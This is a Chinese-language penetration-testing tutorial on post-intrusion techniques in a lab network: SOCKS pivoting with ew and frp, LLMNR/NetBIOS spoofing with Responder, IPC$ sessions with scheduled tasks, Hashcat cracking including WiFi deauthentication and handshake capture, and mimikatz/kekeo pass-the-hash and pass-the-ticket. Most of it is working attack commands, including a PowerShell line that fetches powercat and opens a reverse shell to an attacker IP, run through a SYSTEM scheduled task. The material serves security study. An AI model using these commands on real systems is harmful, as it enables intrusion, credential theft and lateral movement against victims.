          > .ew_for_Win.exe -s ssocksd -l 1080ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server

          然后使用 SocksCap、Proxifier、ProxyChains 等工具配置上目標主機的 IP 和監聽端口即可,socks 要選擇 socks5

          b、反向連接

          反向連接適合于目標沒有公網 IP 的情況,這時就需要一臺公網 vps 了,這里就直接以內網地址作為演示了。

          在公網 VPS 上執行以下命令:

          ew -s rcsocks -l 1080 -e 4444
           -e 設置反彈主機端口
          > ./ew_for_linux64 -s rcsocks -l 1080 -e 4444

          這條命令表示將 1080 端口接收到的數據轉發到 4444 端口上。

          在目標主機上執行以下命令:

          ew -s rssocks -d vps_ip -e 4444
          -d 設置反彈主機 IP
          > .ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444

          這條命令表示在本地開啟 socks 5 服務,并反彈到 vps 的 4444 端口,如果代理建立成功,在 VPS 端就會看到 rssocks cmd_socket OK! 的提示。

          最后,代理 vps 的 1080 端口就可以訪問到目標主機的內網了。

          c、二級網絡環境(一)

          有這樣的一個網絡環境,目標主機A有兩個網卡,一個內網地址一個公網地址,但這個主機只能訪問內網主機B不能訪問其他內網資源,而內網主機B不能訪問外網但是能訪問內網資源。

          在拿到這兩臺主機權限后,就可以使用 ew 進行二級跳板訪問到內網資源。

          內網主機A(有公網ip) --》內網主機B --》內網資源

          在內網主機B上,開啟正向連接代理

          ew -s ssocksd -l 4444
          > .ew_for_Win.exe -s ssocksd -l 4444

          在內網主機A上

          ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
          > ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444

          這條命令表示將 1080 端口收到的代理請求轉發到內網主機 B 192.168.7.110 的 4444 端口,此時就可以通過訪問內網主機 A 的外網 IP 的 1080 端口訪問到內網主機 B 上架設的 socks5 代理了。

          d、二級網絡環境(二)

          在上面的環境中,內網主機 A 有公網 IP,如果沒有公網 IP 的情況下,又該怎么辦呢?這時候就需要結合反向連接了,因此需要一臺公網的 VPS 主機。

          VPS --》內網主機A --》內網主機B --》內網資源

          在公網 VPS 上

          ew -s lcx_listen -l 1080 -e 4444
          > ./ew_for_linux64 -s lcx_listen -l 1080 -e 4444rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444init cmd_server_for_rc herestart listen port here

          表示將 1080 收到的 代理請求轉發到 4444 端口上

          在內網主機 B 上

          ew -s ssocksd -l 5555
          > .ew_for_Win.exe -s ssocksd -l 5555

          表示開啟 5555 端口的正向代理

          在內網主機 A 上

          ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
          > ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555

          表示在內網主機 A 上使用 lcx_slave 的方式,將 VPS 的 4444 端口和內網主機 B 的 5555 端口連接起來。

          現在就可以通過 VPS 的 1080 端口訪問到內網主機 A 再訪問到內網主機 B ,最后訪問到內網資源了。

          e、三級網絡環境

          目前有這樣的一個環境,內網主機 A 沒有公網 IP 不能訪問內網資源,但是可以訪問外網和內網主機 B,內網主機 B 不能訪問外網和內網資源,但是可以和 A、C 相互訪問,內網主機 C 能訪問內網資源,但是只能和內網主機 B 相互訪問,因此如果想訪問到內網資源就需要做三層跳板。

          VPS --》內網主機 A --》內網主機 B --》內網主機 C

          在公網 VPS 上,將 1080 端口收到的代理請求轉發到 4444 端口

          ew -s rcsocks -l 1080 -e 4444
          > ./ew_for_linux64 -s rcsocks -l 1080 -e 4444rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444init cmd_server_for_rc herestart listen port here

          在內網主機 A 上,將 VPS 的 4444 端口和內網主機 B 的 5555 端口連接起來

          ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
          > ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555

          在內網主機 B 上,將 5555 端口收到的代理請求轉發到 6666 端口上

          ew -s lcx_listen -l 5555 -e 6666
          > .ew_for_Win.exe -s lcx_listen -l 5555 -e 6666rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666init cmd_server_for_rc herestart listen port here

          在內網主機 C 上,啟動 socks5 服務,并反彈到 B 主機的 6666 端口上

          ew -s rssocks -d 192.168.7.110 -e 6666
          > .ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server

          至此,socks5 代理 VPS 的 1080 端口就會訪問到內網資源了。

          另外還有個 ew 的升級版工具叫 termite,不過比較遺憾的是 termite 在兩年前也已經暫停更新了,這里也就不再大費周章的記錄它了。

          0x11 frp 的使用

          1、介紹

          相較于前一篇文章介紹的 ew 的年代久遠,frp 就好的多了,基本上隔幾天就會發布新的版本,最新的一版更新還就在幾天前。

          在實戰中,大家較多使用的也是 frp,frp 項目地址:https://github.com/fatedier/frp

          至于下載安裝直接在項目的 releases 里下載自己對應的系統版本就行。

          2、使用

          官方使用文檔:https://gofrp.org/docs/

          frp 分成服務端和客戶端,分別叫 frps 和 frpc,配置文件分別對應 frps.ini 和 frpc.ini

          以下環境均為本地環境,VPS IP 為 172.16.214.52,目標主機 IP 為 192.168.7.110

          a、內網端口穿透

          場景:內網主機可出網,想從公網訪問內網主機的 3389 端口

          在 VPS 上開啟服務端,這里以 kali 為例,首先修改配置文件 frps.ini

          [common]bind_port = 4444

          然后啟動服務端

          frps -c frps.ini
          > ./frps -c frps.ini2021/06/09 03:45:03 [I] [root.go:200] frps uses config file: frps.ini2021/06/09 03:45:03 [I] [service.go:192] frps tcp listen on 0.0.0.0:44442021/06/09 03:45:03 [I] [root.go:209] frps started successfully

          配置客戶端配置文件

          [common]# 服務端 IPserver_addr = vps_ip# 服務端端口server_port = 4444[rdp]type = tcplocal_ip = 127.0.0.1local_port = 3389# 連接 vps 的端口remote_port = 3389
          > .frpc.exe -c frpc.ini2021/06/09 15:50:29 [I] [service.go:304] [72904e8037a7fdf8] login to server success, get run id [72904e8037a7fdf8], server udp port [0]2021/06/09 15:50:29 [I] [proxy_manager.go:144] [72904e8037a7fdf8] proxy added: [rdp]2021/06/09 15:50:29 [I] [control.go:180] [72904e8037a7fdf8] [rdp] start proxy success

          此時,在 vps 上訪問本地的 3389 端口就會訪問到內網主機的 3389 端口了。

          b、建立 socks 代理

          場景:內網主機可出網,想把內網主機作為跳板機使用

          上面的場景只是利用 frp 訪問了內網指定機器的指定端口,我們還可以利用 frp 將內網主機作為跳板機使用。

          這次我們用上 frp 的 web 控制面板以及訪問密碼等功能,讓我們建立的連接更加安全、方便。

          在 VPS 上開啟服務端,服務端配置文件如下:

          [common]bind_port = 4444# 客戶端認證 tokentoken = 123456# 設置 frps 儀表盤端口、賬號和密碼,實戰中用處貌似不大,但如果設置一定要設置強密碼dashboard_port = 8000dashboard_user = admindashboard_pwd = password

          實戰中,為了更好的隱藏自己,最好還是要設置通過域名訪問

          配置好文件后,啟動服務端

          frps -c frps.ini
          ./frps -c frps.ini2021/06/09 04:06:34 [I] [root.go:200] frps uses config file: frps.ini2021/06/09 04:06:35 [I] [service.go:192] frps tcp listen on 0.0.0.0:44442021/06/09 04:06:35 [I] [service.go:294] Dashboard listen on 0.0.0.0:80002021/06/09 04:06:35 [I] [root.go:209] frps started successfully

          配置客戶端文件

          [common]server_addr = vps_ipserver_port = 4444# 客戶端認證 token,需要和服務端 token 保持一致token = 123456# 啟用加密,防止流量被攔截use_encryption = true# 啟用壓縮,提升流量轉發速度use_compression = true[socks5]type = tcp# 連接 vps 的端口remote_port = 1080plugin = socks5

          開啟客戶端

          frpc -c frpc.ini
          > .frpc.exe -c frpc.ini2021/06/09 16:11:21 [I] [service.go:304] [ee7ad330ab4e6036] login to server success, get run id [ee7ad330ab4e6036], server udp port [0]2021/06/09 16:11:21 [I] [proxy_manager.go:144] [ee7ad330ab4e6036] proxy added: [socks5]2021/06/09 16:11:21 [I] [control.go:180] [ee7ad330ab4e6036] [socks5] start proxy success

          測試 VPS IP 的 1080 的 socks5 代理,發現已經連通了。

          打開 frps 儀表盤,登錄后,可以看到當前連接數據的相關信息

          frp 的參數遠不止文章中提到的這些,更多功能可以參考下面的參考文章。

          0x18 LLMNR 和 NetBIOS 欺騙攻擊

          0、前言

          如果已經進入目標網絡,但是沒有獲得憑證,可以使用 LLMNR 和 NetBIOS 欺騙攻擊對目標進行無憑證條件下的權限獲取。

          1、基本概念

          LLMNR

          本地鏈路多播名稱解析(LLMNR)是一種域名系統數據包格式,當局域網中的 DNS 服務器不可用時,DNS 客戶端就會使用 LLMNR 解析本地網段中機器的名稱,直到 DNS 服務器恢復正常為止。

          從 Windows Vista 開始支持 LLMNR ,Linux 系統也通過 systemd 實現了此協議,同時 LLMNR 也支持 IPv6。

          NetBIOS

          NetBIOS 協議是由 IBM 公司開發,主要用于數十臺計算機的小型局域網,根據 NetBIOS 協議廣播獲得計算機名稱,并將其解析成相應的 IP 地址。

          從 Windows NT 以后版本的所有操作系統中都可以使用 NetBIOS,不過 NetBIOS 不支持 IPv6.

          NetBIOS 提供的三種服務:

          i、NetBIOS-NS(名稱服務):主要用于名稱注冊和解析,以啟動會話和分發數據報,該服務默認監聽 UDP 137 端口,也可以使用 TCP 的 137 端口進行監聽。ii、Datagram Distribution Service(數據報分發服務):無連接服務,該服務負責進行錯誤檢測和恢復,默認監聽 UDP 138 端口。iii、Session Service(會話服務):允許兩臺計算機建立連接,默認使用 TCP 139 端口。

          Net-NTLM Hash

          NTLM 即 NT LAN Manager,NTLM 是指 telnet 的一種驗證身份方式,即問詢/應答協議,是 Windows NT 早期版本的標準安全協議。

          Net-NTLM Hash 不同于 NTLM Hash,NTLM Hash 是 Windows 登錄密碼的 Hash 值,可以在 Windows 系統的 SAM 文件或者域控的 NTDS.dit 文件中提取到出來,NTLM Hash 支持哈希傳遞攻擊。

          Net-NTLM Hash 是網絡環境下 NTLM 認證的 Hash,使用 Responder 抓取的通常就是 Net-NTLM Hash,該 Hash 不能進行哈希傳遞,但可用于 NTLM 中繼攻擊或者使用 Hashcat 等工具碰撞出明文進行橫向。

          2、利用

          Responder 是一款使用 Python 編寫用于毒化 LLMNR 和 NBT-NS 請求的一款工具。

          假設我們已連接到 Windows Active Directory 環境,當網絡上的設備嘗試用 LLMNR 和 NBT-NS(NetBIOS 名稱服務)請求來解析目標機器時,Responder 就會偽裝成目標機器。

          當受害者機器嘗試登陸攻擊者機器,Responder 就可以獲取受害者機器用戶的 Net-NTLM 哈希值。

          Responder 項目地址:https://github.com/lgandx/Responder

          Responder 不支持 Windows,這里使用 Kali 進行演示。

          Responder 開啟監聽,-I 指定網卡,這里 eth1 的 IP 為 192.168.7.65

          python Responder.py -I eth1

          開啟監聽后,當目標主機上有人訪問 Responder 主機的共享目錄時,就會看到對方的 Net-NTLM 哈希值了。

          再利用 Hashcat 進行碰撞

          hashcat -m 5600 hash.txt password.txt -D 1

          0x19 IPC 與計劃任務

          0、前言

          在多層代理的環境中,由于網絡限制,通常采用命令行的方式連接主機,這里學習下 IPC 建立會話與配置計劃任務的相關點。

          1、IPC

          IPC (Internet Process Connection) 是為了實現進程間通信而開放的命名管道,當目標開啟了 IPC$ 文件共享并得到用戶賬號密碼后,就可以使用 IPC 建立連接,獲取權限。

          建立 IPC 連接:

          net use \192.168.7.107ipc$ "1qaz@WSX" /user:administrator

          輸入 net use 可以查看當前建立的連接

          C:>net use \192.168.7.107ipc$ "1qaz@WSX" /user:administrator命令成功完成。C:>net use會記錄新的網絡連接。狀態       本地        遠程                      網絡-------------------------------------------------------------------------------OK                     \192.168.7.107ipc$      Microsoft Windows Network命令成功完成。

          映射磁盤到本地

          net use t: \192.168.7.107c$

          如果想刪除映射的磁盤

          net use t: /del

          dir 列出對方目錄

          dir \192.168.7.107c$
          C:>dir \192.168.7.107c$ 驅動器 \192.168.7.107c$ 中的卷沒有標簽。卷的序列號是 BC2F-8F01 \192.168.7.107c$ 的目錄2020/11/24  17:28    <DIR>          Program Files2020/11/24  17:26    <DIR>          Program Files (x86)2021/02/13  17:49    <DIR>          TEMP2021/08/02  11:42    <DIR>          Users2020/11/25  08:37    <DIR>          Windows               0 個文件              0 字節              5 個目錄 32,833,009,664 可用字節

          tasklist 查看進程

          tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX
          C:>tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX映像名稱                       PID 會話名              會話#       內存使用========================= ======== ================ =========== ============System Idle Process              0                            0         24 KSystem                           4                            0        368 Ksmss.exe                       260                            0        628 Kcsrss.exe                      356                            0      2,360 Kwininit.exe                    408                            0        264 Kcsrss.exe                      420                            1      8,692 Kwinlogon.exe                   468                            1      2,012 Kservices.exe                   512                            0      7,460 Klsass.exe                      520                            0     10,216 Klsm.exe                        528                            0      4,148 Kspoolsv.exe                   1356                            0      6,504 Ksvchost.exe                   1392                            0      7,028 K

          使用 del 可斷開連接

          net use \192.168.7.107ipc$ /del

          2、計劃任務

          Windows 可用于創建計劃任務的命令有兩個,分別是 at 和 schtasks,at 在 Windows Server 2008 及之后的系統中,已經被廢棄了。

          這里看看在建立 IPC 連接后,使用計劃任務運行可執行文件,主要步驟如下:

          1、查看目標主機時間

          2、上傳可執行文件到目標主機

          3、設置計劃任務執行可執行文件

          4、刪除計劃任務

          首先查看下目標主機時間

          net time \192.168.7.107
          C:>net time \192.168.7.107\192.168.7.107 的當前時間是 2021/8/2 14:28:01命令成功完成。

          創建一個反彈木馬 bat 程序,這里使用 PowerShell 進行反彈,bat 文件內容如下:

          powershell.exe -nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.7.4 -p 4444 -e cmd"

          在攻擊機上開啟 nc 監聽

          nc -lvp 4444

          將 bat 程序上傳到目標主機

          copy evil.bat \192.168.7.107c$

          使用 at 創建計劃任務

          at \192.168.7.107 14:30 C:evil.bat

          如果想清除 ID 為 1 的計劃任務

          at \192.168.7.107 1 /del

          使用 schtasks 創建計劃任務

          # 開機以 system 權限執行 C:evil.batschtasks /create /s 192.168.7.107 /tn evil /sc onstart /tr C:evil.bat /ru system /f# 在 2021/08/03 前的每一天的 14:30:00 執行 C:evil.batschtasks /create /s 192.168.7.107 /tn evil /tr C:evil.bat /sc daily /st 14:30:00 /ed 2021/08/03# 立刻運行名稱為 evil 的任務schtasks /run /s 192.168.7.107 /i /tn "evil"

          如果想清除名稱為 evil 的計劃任務

          schtasks /delete /s 192.168.7.107 /tn "evil" /f

          在建立 IPC 連接后,除了使用計劃任務進行間接的反彈 Shell,還可以通過 PsExec 直接反彈 Shell

          PsExec 下載地址:https://download.sysinternals.com/files/PSTools.zip

          Psexec.exe -accepteula \192.168.7.107 -s cmd.exe

          0x20 Hashcat 的使用

          1、介紹

          Hashcat 是一款用于破解密碼的工具,據說是世界上最快最高級的密碼破解工具,支持 LM 哈希、MD5、SHA 等系列的密碼破解,同時也支持 Linux、Mac、Windows 平臺。

          工具地址:https://hashcat.net

          項目地址:https://github.com/hashcat/hashcat

          2、安裝

          Mac

          Mac 用戶直接使用 brew 安裝即可

          brew install hashcat

          Linux

          對于 Debain 的 Linux,比如 Kali、Ubuntu 可以直接使用 apt 進行安裝

          apt install hashcat

          或者下載官方二進制文件進行安裝

          在 https://github.com/hashcat/hashcat/releases 里下載最新版壓縮包,這里以 6.2.4 版為例

          tar zxvf hashcat-6.2.4.7zcd hashcat-6.2.4chmod +x hashcat.bin./hashcat.bin

          Windows

          在 https://github.com/hashcat/hashcat/releases 里下載最新版壓縮包,解壓后可以看到 hashcat.exe

          3、使用

          常用參數:

          -r    使用自定義破解規則-o    指定破解成功后的 hash 及所對應的明文密碼的存放位置-m    指定要破解的 hash 類型,如果不指定類型,則默認是 MD5-a    指定要使用的破解模式,其值參考后面對參數?!?a 0” 字典攻擊,“-a 1” 組合攻擊;“-a 3” 掩碼攻擊-D    指定 opencl 的設備類型--show        顯示已經破解的 hash 及該 hash 所對應的明文--force        忽略破解過程中的警告信息,跑單條 hash 可能需要加上此選項--remove    刪除已被破解成功的 hash--username        忽略 hash 文件中的指定的用戶名,在破解 linux 系統用戶密碼 hash 可能會用到--increment        啟用增量破解模式,你可以利用此模式讓 hashcat 在指定的密碼長度范圍內執行破解過程--increment-min            密碼最小長度,后面直接等于一個整數即可,配置 increment 模式一起使用--increment-max            密碼最大長度,同上--outfile-format        指定破解結果的輸出格式 id ,默認是 3--self-test-disable        關閉啟動自檢

          -a 破解模式:

          0 | Straight        (字段破解)1 | Combination        (組合破解)3 | Brute-force        (掩碼暴力破解)6 | Hybrid Wordlist + Mask(字典+掩碼破解)7 | Hybrid Mask + Wordlist(掩碼+字典破解)

          -D 指定設備類型

          1 | CPU2 | GPU3 | FPGA, DSP, Co-Processor

          一般使用 -D 2 指定 GPU 破解

          掩碼設置:

          l | abcdefghijklmnopqrstuvwxyz                純小寫字母u | ABCDEFGHIJKLMNOPQRSTUVWXYZ                純大寫字母d | 0123456789                                純數字h | 0123456789abcdef                        十六進制小寫字母和數字H | 0123456789ABCDEF                        十六進制大寫字母和數字s |  !"#$%&'()*+,-./:;<=>?@[]^_`{|}~        特殊字符a | ?l?u?d?s                                鍵盤上所有可見的字符b | 0x00 - 0xff                                匹配密碼空格

          掩碼設置舉例:

          八位數字密碼:?d?d?d?d?d?d?d?d八位未知密碼:?a?a?a?a?a?a?a?a前四位為大寫字母,后面四位為數字:?u?u?u?u?d?d?d?d前四位為數字或者是小寫字母,后四位為大寫字母或者數字:?h?h?h?h?H?H?H?H前三個字符未知,中間為admin,后三位未知:?a?a?aadmin?a?a?a6-8位數字密碼:--increment --increment-min 6 --increment-max 8 ?d?d?d?d?d?d?d?d6-8位數字+小寫字母密碼:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h

          自定義掩碼規則:

          --custom-charset1 [chars]等價于 -1--custom-charset2 [chars]等價于 -2--custom-charset3 [chars]等價于 -3--custom-charset4 [chars]等價于 -4

          在掩碼中用 ?1、?2、?3、?4 來表示

          注意:

          • —custom-charset1 abcd ?1?1?1?1?1 等價于 -1 abcd ?1?1?1?1?1
          • -3 abcdef -4 123456 ?3?3?3?3?4?4?4?4 表示前四位可能是 adbcdef,后四位可能是 123456

          另外 Hash 模式與 ID 的對照表由于太長,這里就不放了,可以直接 hashcat -h 進行查看

          4、示例

          MD5

          密碼為 8 位數字

          hashcat -a 3 --force d54d1702ad0f8326224b817c796763c9 ?d?d?d?d?d?d?d?d

          密碼為 4 位小寫字母+數字

          hashcat -a 3 --force 4575621b0d88c303998e63fc74d165b0 -1 ?l?d ?1?1?1?1

          密碼為 1-4 位大寫字母+數字

          hashcat -a 3 --force 8fb5a3e7338ce951971d69be27fc5210 -1 ?u?d ?1?1?1?1 --increment --increment-min 1 --increment-max 4

          指定特定字符集:123456abcdf!@+- 進行破解

          hashcat -a 3 -1 123456abcdf!@+- 8b78ba5089b11326290bc15cf0b9a07d ?1?1?1?1?1

          由于在終端里可能會把部分字符識別為特殊字符,因此需要轉義一下

          hashcat -a 3 -1 123456abcdf!@+- 8b78ba5089b11326290bc15cf0b9a07d ?1?1?1?1?1

          如果不知道目標密碼的構成情況,可以直接使用 ?a 表示使用所有字符進行破解

          hashcat -a 3 19b9a36f0cab6d89cd4d3c21b2aa15be --increment --increment-min 1 --increment-max 8 ?a?a?a?a?a?a?a?a

          使用字典破解

          hashcat -a 0 e10adc3949ba59abbe56e057f20f883e password.txt

          使用字典批量破解

          hashcat -a 0 hash.txt password.txt

          字典組合破解

          hashcat -a 1 77b3e6926e7295494dd3be91c6934899 pwd1.txt pwd2.txt

          經過測試,這里的字典組合破解,不是說簡單的將兩個字典的內容合并去重形成 1 個字典進行去重,而是說字典 1 的內容加上字典 2 的內容組合成一個字典,例如:

          pwd1.txt 字典為:

          admintestroot

          pwd2.txt 字典為:

          @2021123

          那么組合后的字典就是這樣的:

          admin@2021admin123test@2021test123root@2021root123

          字典+掩碼破解,也是和上面一樣的組合方法,只不過 pwd2.txt 換成了掩碼

          hashcat -a 6 e120ea280aa50693d5568d0071456460 pwd1.txt ?l?l?l

          MySQL4.1/5

          hashcat -a 3 -m 300 --force 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 ?d?d?d?d?d?d

          可以使用 select authentication_string from mysql.user; 查看當前數據庫中的密碼哈希值。

          sha512crypt , SHA512 (Unix)

          sha512crypt , SHA512 (Unix) 破解,為了避免系統誤識別到特殊字符,這里為哈希值加了單引號

          hashcat -a 3 -m 1800 --force '$6$mxuA5cdy$XZRk0CvnPFqOgVopqiPEFAFK72SogKVwwwp7gWaUOb7b6tVwfCpcSUsCEk64ktLLYmzyew/xd0O0hPG/yrm2X.' ?l?l?l?l

          可通過 cat /etc/shadow 獲取哈希值

          或者不刪除用戶名,直接使用 —username 參數

          hashcat -a 3 -m 1800 --force 'qiyou:$6$QDq75ki3$jsKm7qTDHz/xBob0kF1Lp170Cgg0i5Tslf3JW/sm9k9Q916mBTyilU3PoOsbRdxV8TAmzvdgNjrCuhfg3jKMY1' ?l?l?l?l?l --username

          NTLM

          NT Hash

          hashcat -a 3 -m 1000 209C6174DA490CAEB422F3FA5A7AE634 ?l?l?l?l?l

          LM Hash

          hashcat -a 3 -m 3000 F0D412BD764FFE81AAD3B435B51404EE ?l?l?l?l?l

          NetNTLM Hash

          hashcat -a 3 -m 5500 teams.six::::822795daaf96s0a811fs6dd7b01dscssc601635cc1339basda6:e125cddcf51337asc7 -1 ?l?u ?1?1?1?1?d?d?d?d  --force

          MSSQL (2005)

          hashcat -a 3 -m 132 --force 0x01008c8006c224f71f6bf0036f78d863c3c4ff53f8c3c48edafb ?l?l?l?l?l?d?d?d

          WordPress 密碼 hash

          hashcat -a 3 -m 400 --force '$P$BYEYcHEj3vDhV1lwGBv6rpxurKOEWY/' ?d?d?d?d?d?d

          具體加密腳本在 ./wp-includes/class-phpass.php 的 HashPassword 函數

          Discuz 用戶密碼 hash

          hashcat -a 3 -m 2611 --force 14e1b600b1fd579f47433b88e8d85291: ?d?d?d?d?d?d

          其密碼加密方式 md5(md5(salt)

          RAR 壓縮密碼

          首先獲取 rar 文件的 hash 值,我們可以使用另一款哈希破解工具 John 提供的 rar2john 工具將 rar 文件里的 hash 提取出來。

          rar2john 下載地址:http://openwall.info/wiki/_media/john/johntheripper-v1.8.0.12-jumbo-1-bleeding-e6214ceab-2018-02-07-win-x64.7z

          # 獲取 rar 文件 hashrar2john.exe 1.rar

          hashcat 支持 RAR3-hp 和 RAR5

          對于 RAR5,示例如下:

          hashcat -a 3 -m 13000 --force '$rar5$16$b06f5f2d4c973d6235e1a88b8d5dd594$15$a520dddcc53dd4e3930b8489b013f273$8$733969e5bda903e4' ?d?d?d?d?d?d

          對于 RAR3-hp

          hashcat -a 3 -m 12500 --force '$RAR3$*0*5ba3dd697a8706fa*919ad1d7a1c42bae4a8d462c8537c9cb' ?d?d?d?d

          RAR3-hp 哈希頭為 *0*,而不是 *1*,中間的數值是0(-hp)而不是1(-p),-p 尚未得到支持,只支持 -hp關于 RAR 參數 -p 和 -hp 的區別:-p:只對 RAR 文件加密,里面的目錄和文件名沒加密;-hp:對目錄中的文件名和子目錄都進行加密處理

          ZIP 壓縮密碼

          和 rar 破解過程一樣,我們需要先提取 zip 文件的哈希值,這里可以使用 zip2john 進行獲取,zip2john.exe 在上面下載的 rar2john.exe 的同級目錄下。

          # 獲取 zip 文件 hashzip2john.exe 1.zip
          hashcat -a 3 -m 13600 '$zip2$*0*3*0*18b1a7e7ad39cb3624e54622849b23c7*5b99*3*5deee7*a418cee1a98710adce9a*$/zip2$' --force ?d?d?d?d?d?d

          這里 ZIP 的加密算法使用的 AES256

          office 密碼

          和 rar 與 zip 破解過程一樣,我們需要先提取 office 文件的哈希值,這里可以使用 office2john.py 進行獲取,office2john.py 在上面下載的 rar2john.exe 和 zip2john.exe 的同級目錄下。

          # 獲取 office 文件 hashpython office2john.py 1.docx

          測試中發現 python 會出現告警信息,不過這個告警信息不會影響程序執行

          hashcat -a 3 -m 9600 '$office$*2013*100000*256*16*cd8856416b1e14305a0e8aa8eba6ce5c*18cada7070f1410f3a836c0dfc4b9643*befcde69afeafb3e652719533c824413b00ce4a499589e5ac5bd7a7a0d3c4f3d' --force ?d?d?d?d?d?d

          這里哈希頭為 2013 所以使用 9600 破解模式,如果是 2010 則要使用 9500 破解模式,2007 則使用 9400 破解模式。

          WIFI 密碼

          要破解 WIFI 密碼,首先要抓到 WIFI 的握手包,要想得到 WIFI 的握手包,就需要在監聽時剛好有設備連接了該 WIFI,但這就需要運氣加成,因此可以我們可以主動將該 WIFI 的設備踢下去,一般設備就會自動連接該 WIFI,此時我們就抓到握手包了。

          抓取 WIFI 握手包

          1、將網卡處于監聽狀態

          airmon-ng check airmon-ng check kill // 關閉影響監聽狀態的進程airmon-ng start wlan0

          wlan0 是網卡名稱,一般都是 wlan0,如果不是則需要根據自己的情況進行修改,可通過 iwconfig 進行查看網卡的名稱

          當使用 iwconfig 查看網卡名稱變為 wlan0mon 說明此時網卡已經處于監聽模式了

          2、掃描可用 WIFI

          airodump-ng wlan0mon

          3、獲取wifi的握手包

          airodump-ng -c (上一步掃描的 CH ) --bssid (想要破解 WIFI 的 bssid ) -w (握手文件存放目錄) wlan0mon

          這里以 ssid 為 teamssix 的 WIFI 為例

          airodump-ng -c 1 --bssid 5E:C1:1B:A2:37:F1 -w ./ wlan0mon

          為了順利得到 WIFI 的握手包,可以將該 WIFI 下的設備強制踢下去

          aireplay-ng -0 0 -a (要破解的 wifi 的 bssid ) -c (強制踢下的設備的 MAC 地址) wlan0mon

          可以看到 teamssix 這個 WIFI 有一個設備正在連接,該設備的 MAC 地址為:38:26:2C:13:D3:33,使用以下命令可以將其強制踢下去

          aireplay-ng -0 0 -a 5E:C1:1B:A2:37:F1 -c 38:26:2C:13:D3:33 wlan0mon

          等待設備重新連接后,當右上角出現 WPA handshake 的時候說明獲取成功

          4、破解密碼

          使用 aircrack-ng 將握手包轉換成 hccapx 格式

          aircrack-ng 1.cap -j 1
          hashcat -a 3 -m 2500 1.hccapx ?d?d?d?d?d?d?d?d --force

          或者使用 hashcat 官網提供的在線工具進行格式轉換:https://hashcat.net/cap2hashcat/

          hashcat -a 3 -m 22000 1.hc22000 ?d?d?d?d?d?d?d?d --force

          5、其他

          • Hashcat 在有時破解的時候會提示 All hashes found in potfile!,這表明該 hash 已經被破解出來過了,可以使用 hashcat [哈希值] —show 查看已破解出來的明文密碼。
          • 如果想再次破解已經破解過的密碼,刪除 ~/.hashcat/hashcat.potfile 文件里的對應記錄即可。
          • 在使用GPU模式進行破解時,可以使用 -O 參數自動進行優化
          • 在實際破解過程中,可以先使用 top 字典進行破解,不行再試試社工字典,比如姓名+生日的組合字典
          • Hashcat 參數優化:
          --gpu-accel 160            可以讓GPU發揮最大性能--gpu-loops 1024        可以讓GPU發揮最大性能--segment-size 512        可以提高大字典破解的速度

          0x21 哈希傳遞與票據傳遞

          1、哈希傳遞

          哈希傳遞(Pass The Hash, PTH)顧名思義,就是利用哈希去登錄內網中的其他機器,而不是通過明文密碼登錄的方式。

          通過哈希傳遞,攻擊者不需要花時間破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系統中,默認不會在內存中保存明文密碼,Mimikatz 就讀不到密碼明文,因此此時往往會使用工具將哈希值傳遞到其他計算機中進行登錄驗證。

          NTLM Hash

          在目標主機上使用 mimikatz 獲取 NTLM Hash

          privilege::debugsekurlsa::logonpasswords

          在遠程主機上以管理員權限打開 mimikatz

          privilege::debugsekurlsa::pth /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

          mimikatz 執行后,會彈出一個擁有對應 Hash 用戶權限的 CMD 窗口。

          AES-256 密鑰

          使用 mimikatz 抓取密鑰

          privilege::debugsekurlsa::ekeys

          在其他遠程計算機中,以管理員權限打開 mimikatz

          privilege::debugsekurlsa::pth /user:administrator /domain:teamssix.com /aes256:7358fb65149672d99b8c9f3dfd0dfeb486b78268e9c5250b23aefbd26f293c60

          這里需要目標機器上安裝 KB2871997 補丁,補丁下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=42722

          將該補丁安裝后,就可以通過 AES256 密鑰進行哈希傳遞了。

          除了 AES256 外還有 AES128 等,不過平時基本都是使用 NTLM 哈希進行傳遞。

          2、票據傳遞

          票據傳遞(Pass The Ticket, PTT)是基于Kerberos認證的一種攻擊方式,這里主要學習票據傳遞在 mimikatz 和 kekeo 兩個工具里的使用。

          mimikatz

          使用 mimikatz 可以將內存中的票據進行導出。

          privilege::debugsekurlsa::tickets /export

          執行該命令后,會在當前目錄下生成多個服務的票據文件,例如 kirbi 等

          使用以下命令可以清除內存中的票據

          kerberos::purge

          將票據文件注入內存

          kerberos::ptt "[0;4beae]-2-0-40e00000-Administrator@krbtgt-TEAMSSIX.COM.kirbi"

          在當前終端下退出 mimikatz ,然后就可以列出目標目錄了。

          票據傳遞除了用 mimikatz 還可以用 kekeo

          kekeo

          kekeo 需要使用域名、用戶名、NTLM HASH 生成票據,然后再將票據導入,從而連接遠程計算機。

          tgt::ask /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

          在 kekeo 中清除當前內存中的其他票據,不然可能會導致票據傳遞失敗

          kerberos::purge

          在 Windows 命令行中也可以執行系統自帶的命令進行內存中的票據清除

          klist purge

